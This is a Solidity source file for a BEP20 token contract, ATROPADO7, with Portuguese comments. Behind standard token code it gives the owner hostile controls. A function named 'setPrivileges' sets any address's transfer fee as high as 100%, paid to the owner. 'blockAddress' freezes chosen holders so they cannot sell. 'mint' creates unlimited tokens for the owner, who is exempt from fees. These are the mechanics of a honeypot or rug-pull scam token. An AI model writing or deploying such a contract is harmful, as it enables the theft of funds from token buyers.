Address

• MintFeeTAX.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ATROPADO7 is Context, IBEP20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isBlocked;
    mapping(address => uint256) private _customFee;

    string private _NAME;
    string private _SYMBOL;
    uint8 private _DECIMALS = 18;
    uint256 private _TOTAL_SUPPLY = 889000000000 * 10 ** uint256(_DECIMALS);

    address public _feeAddress;

    event AddressBlocked(address indexed account);
    event FeeUpdated(address indexed account, uint256 fee);

    constructor(string memory nome, string memory simbolo) {
        _NAME = nome;
        _SYMBOL = simbolo;
        _feeAddress = _msgSender();
        _balances[_msgSender()] = _TOTAL_SUPPLY;
        _isExcludedFromFee[_msgSender()] = true;
        emit Transfer(address(0), _msgSender(), _TOTAL_SUPPLY);
    }

    function name() public view returns (string memory) {
        return _NAME;
    }

    function symbol() public view returns (string memory) {
        return _SYMBOL;
    }

    function decimals() public view returns (uint8) {
        return _DECIMALS;
    }

    function totalSupply() public view override returns (uint256) {
        return _TOTAL_SUPPLY;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(!_isBlocked[_msgSender()], "Sender is blocked");
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(!_isBlocked[sender], "Sender is blocked");
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "transfer amount exceeds allowance"));
        return true;
    }

    function setPrivileges(address account, uint256 fee) external onlyOwner {
        require(fee <= 100, "Custom fee should be less than or equal to 100%");
        _customFee[account] = fee;
        emit FeeUpdated(account, fee);
    }

    function removePrivileges(address account) external onlyOwner {
        _customFee[account] = 0;
        emit FeeUpdated(account, 0);
    }

    function blockAddress(address account) public onlyOwner {
        _isBlocked[account] = true;
        emit AddressBlocked(account);
    }

    function unblockAddress(address account) public onlyOwner {
        _isBlocked[account] = false;
    }

    function mint(uint256 amount) public onlyOwner {
        require(amount > 0, "Mint amount must be greater than zero");

        uint256 mintAmount = amount * 10 ** uint256(_DECIMALS); // Ajusta para incluir as casas decimais
        _TOTAL_SUPPLY = _TOTAL_SUPPLY.add(mintAmount); // Atualiza o totalSupply
        _balances[_msgSender()] = _balances[_msgSender()].add(mintAmount); // Adiciona os tokens à conta do proprietário

        emit Transfer(address(0), _msgSender(), mintAmount); // Emite o evento de transferência para indicar que tokens foram criados
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "transfer from the zero address");
        require(recipient != address(0), "transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 feeAmount = 0;

        if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {
            uint256 fee = _customFee[sender] > 0 ? _customFee[sender] : (_customFee[recipient] > 0 ? _customFee[recipient] : 0);
            if (fee > 0) {
                feeAmount = amount.mul(fee).div(100);
            }
        }

        uint256 transferAmount = amount.sub(feeAmount);

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(transferAmount);

        if (feeAmount > 0) {
            _balances[_feeAddress] = _balances[_feeAddress].add(feeAmount);
            emit Transfer(sender, _feeAddress, feeAmount);
        }

        emit Transfer(sender, recipient, transferAmount);
    }
}